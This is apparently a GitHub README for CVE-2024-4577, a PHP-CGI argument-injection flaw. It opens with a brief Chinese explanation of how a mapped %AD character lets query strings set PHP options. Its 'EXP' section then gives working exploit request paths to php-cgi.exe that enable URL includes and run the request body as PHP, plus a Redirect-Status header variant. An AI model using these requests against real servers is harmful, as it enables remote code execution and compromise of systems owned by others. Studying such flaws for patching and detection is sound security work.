Skip to content

Latest commit

 

History

History
40 lines (16 loc) · 761 Bytes

README.md

File metadata and controls

40 lines (16 loc) · 761 Bytes

CVE-2024-4577

分析

漏洞的起因就是字符映射,将%ad映射成了-,导致了cgi修改配置的rce。

利用方式有两种,一种就是直接改cgi.force_redirect,第二种就是header头设置REDIRECT-STATUS

EXP

/php-cgi/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input+%ADd+cgi.force_redirect%3d0+%ADd+error_reporting%3d0
/php-cgi/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input+%ADd+error_reporting%3d0

Redirect-Status: 1

References

https://wx.zsxq.com/dweb2/index/topic_detail/1522152528151552

https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/

https://wx.zsxq.com/dweb2/index/topic_detail/8855485848442182